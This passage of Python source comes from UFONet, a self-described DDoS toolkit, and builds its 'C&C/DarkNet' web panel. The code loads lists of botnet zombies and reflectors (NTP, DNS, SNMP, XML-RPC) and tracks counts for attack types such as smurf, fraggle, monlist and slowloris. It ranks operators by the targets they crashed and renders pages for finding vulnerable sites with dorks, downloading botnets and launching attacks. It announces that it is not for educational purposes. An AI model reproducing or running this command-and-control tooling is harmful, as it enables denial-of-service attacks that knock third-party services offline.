  2694. self.missions_text = f.read()
  2695. f.close()
  2696. f = open(self.missions)
  2697. self.missions_block = f.readlines()
  2698. f.close()
  2699. self.list_missions = []
  2700. for m in self.missions_block:
  2701. self.list_missions.append(m)
  2702. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2703. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2704. self.missions_status_color = "red" # set status color for missions to 'red'
  2705. else:
  2706. self.missions_status_color = "green" # set status color for missions to 'green'
  2707. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2708. data = json.load(stats_json_file)
  2709. stats_json_file.close()
  2710. self.abductor = Abductor(self) # call abductor for data size conversor
  2711. self.aflying = data["flying"]
  2712. self.ascanner = data["scanner"]
  2713. self.atransferred = data["transferred"]
  2714. self.amax_chargo = data["max_chargo"]
  2715. self.amissions = data["missions"]
  2716. self.acompleted = data["completed"]
  2717. self.aloic = data["loic"]
  2718. self.aloris = data["loris"]
  2719. self.aufosyn = data["ufosyn"]
  2720. self.aspray = data["spray"]
  2721. self.asmurf = data["smurf"]
  2722. self.axmas = data["xmas"]
  2723. self.anuke = data["nuke"]
  2724. self.atachyon = data["tachyon"]
  2725. self.amonlist = data["monlist"]
  2726. self.afraggle = data["fraggle"]
  2727. self.asniper = data["sniper"]
  2728. self.aufoack = data["ufoack"]
  2729. self.auforst = data["uforst"]
  2730. self.adroper = data["droper"]
  2731. self.aoverlap = data["overlap"]
  2732. self.apinger = data["pinger"]
  2733. self.aufoudp = data["ufoudp"]
  2734. self.tcrashed = data["crashed"]
  2735. if int(self.acompleted) > 0: # check for attacks completed
  2736. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2737. else:
  2738. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2739. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2740. self.ranking = "Rookie"
  2741. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2742. self.ranking = "Mercenary"
  2743. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2744. self.ranking = "Bandit"
  2745. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2746. self.ranking = "UFOmmander!"
  2747. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2748. self.ranking = "UFOl33t!"
  2749. f = open(self.zombies_file)
  2750. self.zombies = f.readlines()
  2751. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2752. self.list_zombies = []
  2753. for zombie in self.zombies:
  2754. t = urlparse(zombie)
  2755. name_zombie = t.netloc
  2756. if "www." in name_zombie:
  2757. name_zombie = name_zombie.replace("www.","")
  2758. self.list_zombies.append(name_zombie)
  2759. self.num_zombies = str(len(self.zombies))
  2760. f.close()
  2761. f = open(self.aliens_file)
  2762. self.aliens = f.readlines()
  2763. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2764. self.list_aliens = []
  2765. for alien in self.aliens:
  2766. t = urlparse(alien)
  2767. name_alien = t.netloc
  2768. if "www." in name_alien:
  2769. name_alien = name_alien.replace("www.","")
  2770. self.list_aliens.append(name_alien)
  2771. self.num_aliens = str(len(self.aliens))
  2772. f.close()
  2773. f = open(self.droids_file)
  2774. self.droids = f.readlines()
  2775. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2776. self.list_droids = []
  2777. for droid in self.droids:
  2778. t = urlparse(droid)
  2779. name_droid = t.netloc
  2780. if "www." in name_droid:
  2781. name_droid = name_droid.replace("www.","")
  2782. self.list_droids.append(name_droid)
  2783. self.num_droids = str(len(self.droids))
  2784. f.close()
  2785. f = open(self.ucavs_file)
  2786. self.ucavs = f.readlines()
  2787. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2788. self.list_ucavs = []
  2789. for ucav in self.ucavs:
  2790. t = urlparse(ucav)
  2791. name_ucav = t.netloc
  2792. if "www." in name_ucav:
  2793. name_ucav = name_ucav.replace("www.","")
  2794. self.list_ucavs.append(name_ucav)
  2795. self.num_ucavs = str(len(self.ucavs))
  2796. f.close()
  2797. f = open(self.rpcs_file)
  2798. self.rpcs = f.readlines()
  2799. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2800. self.list_rpcs = []
  2801. for rpc in self.rpcs:
  2802. t = urlparse(rpc)
  2803. name_rpc = t.netloc
  2804. if "www." in name_rpc:
  2805. name_rpc = name_rpc.replace("www.","")
  2806. self.list_rpcs.append(name_rpc)
  2807. self.num_rpcs = str(len(self.rpcs))
  2808. f.close()
  2809. f = open(self.ntps_file)
  2810. self.ntps = f.readlines()
  2811. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2812. self.list_ntps = []
  2813. for ntp in self.ntps:
  2814. t = urlparse(ntp)
  2815. name_ntp = t.netloc
  2816. if "www." in name_ntp:
  2817. name_ntp = name_ntp.replace("www.","")
  2818. self.list_ntps.append(name_ntp)
  2819. self.num_ntps = str(len(self.ntps))
  2820. f.close()
  2821. f = open(self.dnss_file)
  2822. self.dnss = f.readlines()
  2823. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2824. self.list_dnss = []
  2825. for dns in self.dnss:
  2826. t = urlparse(dns)
  2827. name_dns = t.netloc
  2828. if "www." in name_dns:
  2829. name_dns = name_dns.replace("www.","")
  2830. self.list_dnss.append(name_dns)
  2831. self.num_dnss = str(len(self.dnss))
  2832. f.close()
  2833. f = open(self.snmps_file)
  2834. self.snmps = f.readlines()
  2835. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2836. self.list_snmps = []
  2837. for snmp in self.snmps:
  2838. t = urlparse(snmp)
  2839. name_snmp = t.netloc
  2840. if "www." in name_snmp:
  2841. name_snmp = name_snmp.replace("www.","")
  2842. self.list_snmps.append(name_snmp)
  2843. self.num_snmps = str(len(self.snmps))
  2844. f.close()
  2845. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
  2846. f = open(self.wargames_file, "r")
  2847. ls = f.readlines()
  2848. f.close()
  2849. self.supply_wargames = 0
  2850. self.wargames_engage_list = []
  2851. for l in ls:
  2852. if "!!!" in l:
  2853. self.wargames_engage_list.append(l)
  2854. self.supply_wargames = self.supply_wargames + 1
  2855. if self.supply_wargames > 0:
  2856. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">' + str(self.supply_wargames) + '</a>'
  2857. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  2858. else:
  2859. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">0</a>'
  2860. self.options = UFONetOptions()
  2861. self.pages = {}
  2862. self.pages["/header"] = """<!DOCTYPE html><html>
  2863. <head>
  2864. <link rel="shortcut icon" type="image/x-icon" href="favicon" />
  2865. <meta name="author" content="psy">
  2866. <meta name="robots" content="noindex, nofollow">
  2867. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  2868. <title>UFONet - [ C&C/DarkNet ]</title>
  2869. <script language="javascript" src="/lib.js"></script>
  2870. <script language="javascript" src="js/stars.js"></script>
  2871. <style>
  2872. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  2873. </style>"""
  2874. self.pages["/footer"] = """</center></body>
  2875. </html>
  2876. """
  2877. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  2878. function Start() {
  2879. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  2880. }
  2881. </script>
  2882. <script type="text/javascript">
  2883. var text="REMEMBER -> This code is NOT for educational purposes!";
  2884. var delay=1;
  2885. var currentChar=1;
  2886. var destination="tt";
  2887. function type()
  2888. {
  2889. if (document.getElementById)
  2890. {
  2891. var dest=document.getElementById(destination);
  2892. if (dest)
  2893. {
  2894. dest.innerHTML=text.substr(0, currentChar);
  2895. currentChar++
  2896. if (currentChar>text.length)
  2897. {
  2898. currentChar=1;
  2899. setTimeout("type()", 5000);
  2900. }
  2901. else
  2902. {
  2903. setTimeout("type()", delay);
  2904. }
  2905. }
  2906. }
  2907. }
  2908. function startTyping(textParam, delayParam, destinationParam)
  2909. {
  2910. text=textParam;
  2911. delay=delayParam;
  2912. currentChar=1;
  2913. destination=destinationParam;
  2914. type();
  2915. }
  2916. </script>
  2917. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  2918. </head>
  2919. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2920. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2921. <center><br><br><br><br>
  2922. <table><tr>
  2923. <td>
  2924. <div class="ufo-cloud">
  2925. <ul>
  2926. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  2927. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  2928. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  2929. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  2930. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  2931. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  2932. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  2933. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  2934. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  2935. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  2936. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  2937. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  2938. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  2939. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  2940. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  2941. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  2942. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  2943. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  2944. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  2945. </ul>
  2946. </div>
  2947. </td>
  2948. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  2949. </td></tr></table><br>
  2950. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
  2951. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  2952. <script type="text/javascript">
  2953. startTyping(text, 80, "tt");
  2954. </script><br />
  2955. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  2956. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  2957. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2958. }
  2959. function Missions() {
  2960. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2961. }
  2962. function Stats() {
  2963. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2964. }
  2965. function Browser() {
  2966. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2967. }
  2968. function Board() {
  2969. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2970. }
  2971. function Links() {
  2972. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2973. }
  2974. function Streams() {
  2975. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2976. }
  2977. function TV() {
  2978. var win_requests = window.open("tv","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2979. }
  2980. function Grid() {
  2981. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2982. }
  2983. function Wargames() {
  2984. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2985. }
  2986. </script>
  2987. </head>
  2988. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2989. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2990. <center>
  2991. <table cellpadding="38" cellspacing="38">
  2992. <tr>
  2993. <td>
  2994. <div class="ringMenu">
  2995. <ul>
  2996. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  2997. <li class="top"><a href="botnet">Botnet</a></li>
  2998. <li class="right"><a href="explore">Explore</a></li>
  2999. <li class="bottom"><a href="attack">Attack</a></li>
  3000. <li class="left"><a href="globalnet">Globalnet</a></li>
  3001. </ul>
  3002. </div>
  3003. </td>
  3004. <td>
  3005. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  3006. <tr>
  3007. <td>
  3008. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> [ <b>C&C/DarkNET</b> ]
  3009. ------------------------------------
  3010. | <a href="/help" target="_blank">HELP</a> - <a href="/faq" target="_blank">F.A.Q.</a> | <a href="/shop" target="_blank">SHOP!</a> | <a href="/author" target="_blank">AUTHOR</a>
  3011. ------------------------------------<b>
  3012. """ + self.options.version + """</b>
  3013. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  3014. | <a href='javascript:runCommandX("cmd_view_changelog")'>LOG</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">C0DE</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">MIRROR</a> - <a href='"""+torrent_seed+"""' target="_blank">SEED</a> | <a href='javascript:runCommandX("cmd_check_tool")'>UPDATE!</a> |
  3015. -------------------------------------
  3016. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  3017. - Stats: <a href="/stats" target="_blank"><b>""" + str(self.mothership_model) + """</b></a>
  3018. - Ranking: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a><br>
  3019. - Proxy: <a href='javascript:runCommandX("cmd_check_tor")'><b>CHECK-TOR!</b></a><br>
  3020. - Chargo: <a href='javascript:runCommandX("cmd_list_army")'><b>"""+ self.total_botnet +"""</b></a><br>
  3021. - Nodes: <a href='javascript:runCommandX("cmd_list_nodes")'><b>"""+str(len(self.list_globalnet)+len(self.list_blackholes))+"""</b></a><br>
  3022. """+str(self.current_tasks)+"""</td>
  3023. <td>
  3024. <table>
  3025. <tr>
  3026. <td>
  3027. <table cellpadding="2" cellspacing="5">
  3028. <tr>
  3029. <td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="Browser()"><br><a href="javascript:Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="javascript:News()">SHIP.NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="javascript:Missions()">SHIP.MISSIONS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="TV()"><br><a href="javascript:TV()">SHIP.TV</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="javascript:Links()">GLOBAL.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="Streams()"><br><a href="javascript:Streams()">GLOBAL.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="javascript:Board()">GLOBAL.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"><br><a href="javascript:Grid()">GLOBAL.GRID</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"><br><a href="javascript:Wargames()">GLOBAL.WARGAMES</a>
  3030. </td></tr></table>
  3031. </tr>
  3032. </table>
  3033. </td>
  3034. </tr>
  3035. </table>
  3036. </td>
  3037. </tr>
  3038. </table><center><br><br>
  3039. <div id="cmdOut"></div>
  3040. """ + self.pages["/footer"]
  3041. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  3042. function Requests() {
  3043. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3044. }
  3045. function Maps() {
  3046. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  3047. win_map.resizeTo(screen.width,screen.height);
  3048. }
  3049. function Start(){
  3050. dork=document.getElementById("dork").value
  3051. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  3052. if (document.getElementById("autosearch").checked){
  3053. document.getElementById("autosearch").value = "on";
  3054. } else {
  3055. document.getElementById("autosearch").value = "off";
  3056. }
  3057. autosearch = document.getElementById("autosearch").value
  3058. if (document.getElementById("dork_list").checked){
  3059. document.getElementById("dork_list").value = "on";
  3060. } else {
  3061. document.getElementById("dork_list").value = "off";
  3062. }
  3063. dork_list = document.getElementById("dork_list").value
  3064. if(dork == "" && dork_list == "off" && autosearch == "off") {
  3065. window.alert("You need to enter a source for dorking...");
  3066. return
  3067. }else{
  3068. if (document.getElementById("all_engines").checked){
  3069. document.getElementById("all_engines").value = "on";
  3070. exclude_engines=document.getElementById("exclude_engines").value
  3071. } else {
  3072. document.getElementById("all_engines").value = "off";
  3073. }
  3074. all_engines = document.getElementById("all_engines").value
  3075. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  3076. runCommandX("cmd_search",params)
  3077. }
  3078. }
  3079. function Download_Botnet_IP(){
  3080. blackhole=document.getElementById("download_botnet_ip").value
  3081. params="blackhole="+escape(blackhole)
  3082. runCommandX("cmd_download_botnet_ip",params)
  3083. }
  3084. function showHide()
  3085. {
  3086. if(document.getElementById("dork_list").checked)
  3087. {
  3088. document.getElementById("dork_pattern").style.display = "none";
  3089. document.getElementById("autosearch_pattern").style.display = "none";
  3090. }
  3091. else {
  3092. document.getElementById("dork_pattern").style.display = "";
  3093. document.getElementById("autosearch_pattern").style.display = "";
  3094. }
  3095. }
  3096. function showHideEngines()
  3097. {
  3098. if(document.getElementById("all_engines").checked)
  3099. {
  3100. document.getElementById("s_engine").style.display = "none";
  3101. document.getElementById("sex_engine").style.display = "";
  3102. }
  3103. else {
  3104. document.getElementById("s_engine").style.display = "";
  3105. document.getElementById("sex_engine").style.display = "none";
  3106. }
  3107. }
  3108. function HideAll()
  3109. {
  3110. if(document.getElementById("autosearch").checked)
  3111. {
  3112. document.getElementById("s_engine").style.display = "none";
  3113. document.getElementById("dork_pattern").style.display = "none";
  3114. document.getElementById("list_pattern").style.display = "none";
  3115. document.getElementById("allengines_pattern").style.display = "none";
  3116. document.getElementById("all_engines").checked = false;
  3117. document.getElementById("dork_list").checked = false;
  3118. document.getElementById("dork").value = "";
  3119. }
  3120. else {
  3121. document.getElementById("s_engine").style.display = "";
  3122. document.getElementById("dork_pattern").style.display = "";
  3123. document.getElementById("list_pattern").style.display = "";
  3124. document.getElementById("allengines_pattern").style.display = "";
  3125. }
  3126. }
  3127. </script>
  3128. </head>
  3129. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3130. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3131. <center>
  3132. <table cellpadding="38" cellspacing="38">
  3133. <tr>
  3134. <td>
  3135. <div class="ringMenu">
  3136. <ul>
  3137. <li class="main"><a href="botnet">Botnet</a></li>
  3138. <li class="top"><a href="globalnet">Globalnet</a></li>
  3139. <li class="right"><a href="explore">Explore</a></li>
  3140. <li class="bottom"><a href="attack">Attack</a></li>
  3141. <li class="left"><a href="gui">RETURN</a></li>
  3142. </ul>
  3143. </div>
  3144. </td>
  3145. <td>
  3146. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3147. <tr><td>
  3148. <pre>
  3149. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3150. <form method='GET'><br><hr><br>Search Botnet:<br><div id="autosearch_pattern" style="display:block;">
  3151. * Search automatically (may take time!) <input type="checkbox" CHECKED id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:none;">
  3152. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="page.php?url="></div><div id="list_pattern" style="display:none;">
  3153. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:none;">
  3154. * Search using this search engine: <select id="engines_list">
  3155. <option value="duck" selected>duck</option>
  3156. <option value="bing">bing</option>
  3157. <option value="yahoo">yahoo</option>
  3158. <!-- <option value="google">google (no TOR!)</option>-->
  3159. <!-- <option value="yandex">yandex</option>-->
  3160. </select></div><div id="allengines_pattern" style="display:none;">
  3161. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  3162. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  3163. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  3164. <br><hr>
  3165. <br>Download Botnet: <center><br><a href='javascript:runCommandX("cmd_list_nodes")'>LIST NODES</a> | <a href='javascript:runCommandX("cmd_download_nodes")'>TAKE ALL!</a> | <input type="text" name="download_botnet_ip" id="download_botnet_ip" size="20" value='"""+default_blackhole+"""'> <button title="Start to search for zombies..." style="color:yellow; height:40px; width:140px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Download_Botnet_IP()>TAKE IT!</button></center>
  3166. <hr>
  3167. Test Botnet: <center><br><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center>
  3168. <hr>
  3169. View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button></pre>
  3170. </td>
  3171. <td>
  3172. <table cellpadding="5" cellspacing="2">
  3173. <tr>
  3174. <td align="right">Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  3175. </tr>
  3176. <tr><td><hr></td></tr>
  3177. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  3178. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  3179. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  3180. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  3181. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  3182. <tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
  3183. <tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
  3184. <tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
  3185. <tr><td><hr></td></tr>
  3186. <tr>
  3187. <td align="right">GLOBAL.RADAR (nodes) = <b><font size='5' align="right"><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></b></td>
  3188. </tr>
  3189. <tr>
  3190. <td align="right">SHIP.WARPS (nodes) = <b><font size='5' align="right"><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></b></td>
  3191. </tr>
  3192. </table>
  3193. </table>
  3194. </td>
  3195. </tr></table>
  3196. <hr>
  3197. <div id="cmdOut"></div>
  3198. """ + self.pages["/footer"]
  3199. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  3200. function Requests() {
  3201. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3202. }
  3203. function ShowPanel() {
  3204. if (document.getElementById("extra_attack").checked){
  3205. document.getElementById("extra_panel").style.display = "block";
  3206. document.getElementById("loic").value = "";
  3207. document.getElementById("loris").value = "";
  3208. document.getElementById("ufosyn").value = "";
  3209. document.getElementById("spray").value = "";
  3210. document.getElementById("smurf").value = "";
  3211. document.getElementById("xmas").value = "";
  3212. document.getElementById("nuke").value = "";
  3213. document.getElementById("tachyon").value = "";
  3214. document.getElementById("monlist").value = "";
  3215. document.getElementById("fraggle").value = "";
  3216. document.getElementById("sniper").value = "";
  3217. document.getElementById("ufoack").value = "";
  3218. document.getElementById("uforst").value = "";
